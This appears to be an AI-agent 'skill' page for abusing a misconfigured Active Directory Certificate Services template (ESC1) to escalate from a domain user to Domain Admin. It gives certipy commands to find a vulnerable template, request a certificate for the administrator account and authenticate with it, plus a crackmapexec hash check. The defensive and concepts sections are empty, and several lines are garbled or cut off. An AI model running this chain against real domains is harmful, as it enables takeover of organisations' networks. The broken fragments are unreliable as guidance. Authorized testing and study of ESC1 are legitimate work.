Ad Cs Esc1 Abuse

AD CS Abuse - ESC1 (Subject Alternative Name)

When to Use

• When operating in a Windows Active Directory environment and you discover that Active Directory Certificate Services (AD CS) is deployed (PKI infrastructure).
• To massively escalate privileges from a standard domain user to Domain Admin by exploiting misconfigured certificate templates.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying AD CS and Vulnerable Templates (ESC1)

# Concept: ESC1 ```

```bash
# certipy find -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -vulnerable

Phase 2: Requesting the Certificate

# Concept: With a vulnerable template certipy req -u user@domain.local -p Password123! -dc-ip 10.10.10.10 -ca CA-NAME -template VulnerableTemplate -upn administrator@domain.local

Phase 3: Authenticating with the Certificate (Pass-the-Certificate)

# Concept: certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain domain.local

Phase 4: Validating Access

# crackmapexec smb 10.10.10.10 -u administrator -H [NTLM_HASH_OBTAINED_FROM_CERTIPY]

Decision Point 🔀

flowchart TD
    A[Find Template ] --> B{ESC1 Vulnerable ]}
    B -->|Yes| C[Request ]
    B -->|No| D[Check ]
    C --> E[Auth ]

🔵 Blue Team Detection & Defense

• Audit Templates: Monitor Event Logs: Key Concepts

| Concept | Description | |---------|-------------|

Output Format

Ad Cs Esc1 Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

> For cross-cutting methodology applicable to all vulnerability classes, see: > - [_shared/references/elite-chaining-strategy.md](../shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns > - [_shared/references/elite-report-writing.md](../shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference > - [_shared/references/real-world-bounties.md](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

References

• SpecterOps: Certified Pre-Owned (AD CS Whitepaper)
• Certipy: Certipy Documentation
• TryHackMe: AD CS

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: ShulkwiSEC
• Source: ShulkwiSEC/bb-huge
• License: MIT

Install and usage instructions live in the source repository linked above.